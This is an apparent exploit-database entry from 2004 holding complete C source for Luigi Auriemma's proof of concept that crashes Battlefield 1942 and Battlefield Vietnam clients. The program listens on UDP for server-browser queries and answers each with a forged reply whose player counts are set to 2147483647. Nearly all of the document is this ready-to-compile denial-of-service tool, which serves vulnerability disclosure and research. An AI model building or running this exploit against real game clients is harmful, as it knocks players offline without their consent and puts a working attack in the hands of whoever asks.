Battlefield 1942 <= 1.6.19 and Vietnam <= 1.2 Broadcast Client Crash

2004-12-07T00:00:00
ID 1337DAY-ID-5923
Type zdt
Reporter Luigi Auriemma
Modified 2004-12-07T00:00:00

Description

Exploit for unknown platform in category dos / poc

                                        
                                            ====================================================================
Battlefield 1942 <= 1.6.19 and Vietnam <= 1.2 Broadcast Client Crash
====================================================================



/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER         "0.1"
#define BUFFSZ      2048
#define BOOMPLAYERS 2147483647  /* BUG */
#define BOOM        "\\gamename\\%s" \
                    "\\gamever\\1.6" \
                    "\\location\\0" \
                    "\\hostname\\crash" \
                    "\\hostport\\%d" \
                    "\\mapname\\aberdeen" \
                    "\\numplayers\\%u" \
                    "\\maxplayers\\%u"  /* not needed to be the same value */ \
                    "\\final\\" \
                    "\\queryid\\1.1"



void std_err(void);



int main(int argc, char *argv[]) {
    struct  sockaddr_in peer;
    int     sd,
            len,
            pcklen,
            on = 1,
            psz;
    u_short port;
    u_char  buff[BUFFSZ + 1],
            pck[BUFFSZ + 1];


    setbuf(stdout, NULL);

    fputs("\n"
        "Battlefield broadcast client crash "VER"\n"
        "   1942 <= 1.6.19 and Vietnam <= 1.2\n"
        "by Luigi Auriemma\n"
        "e-mail: [email protected]\n"
        "web:    http://aluigi.altervista.org\n"
        "\n", stdout);

    if(argc < 3) {
        printf("\n"
            "Usage: %s <game> <port>\n"
            "\n"
            "Game:\n"
            "  bfvietnam      = Battlefield Vietnam\n"
            "  bfield1942     = Battlefield 1942\n"
            "  bfield1942sw   = Battlefield 1942: Secret Weapons of WW2\n"
            "  bfield1942rtr  = Battlefield 1942: Road to Rome\n"
            "  bfield1942swd  = Battlefield 1942: Secret Weapons of WW2 Demo\n"
            "  bfield1942d    = Battlefield 1942 Demo\n"
            "\n"
            "Port:\n"
            "  23000 = default Internet port\n"
            "  22000 = default LAN port\n"
            "\n", argv[0]);
        exit(1);
    }

#ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
#endif

    port = atoi(argv[2]);

    peer.sin_addr.s_addr = INADDR_ANY;
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;
    psz                  = sizeof(peer);

    sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    if(sd < 0) std_err();

    if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
      < 0) std_err();
    if(bind(sd, (struct sockaddr *)&peer, sizeof(peer))
      < 0) std_err();

    pcklen = snprintf(
        pck,
        BUFFSZ,
        BOOM,
        argv[1],
        port,
        BOOMPLAYERS,
        BOOMPLAYERS);
    if((pcklen < 0) || (pcklen > BUFFSZ)) exit(1);

    fputs("Clients:\n", stdout);
    for(;;) {
        len = recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz);
        if(len < 0) continue;
        buff[len] = 0x00;

        printf("%16s:%5hu   %s\n",
            inet_ntoa(peer.sin_addr), ntohs(peer.sin_port),
            buff);

        if(sendto(sd, pck, pcklen, 0, (struct sockaddr *)&peer, sizeof(peer))
          < 0) std_err();
    }

    close(sd);
    return(0);
}



#ifndef WIN32
    void std_err(void) {
        perror("\nError");
        exit(1);
    }
#endif



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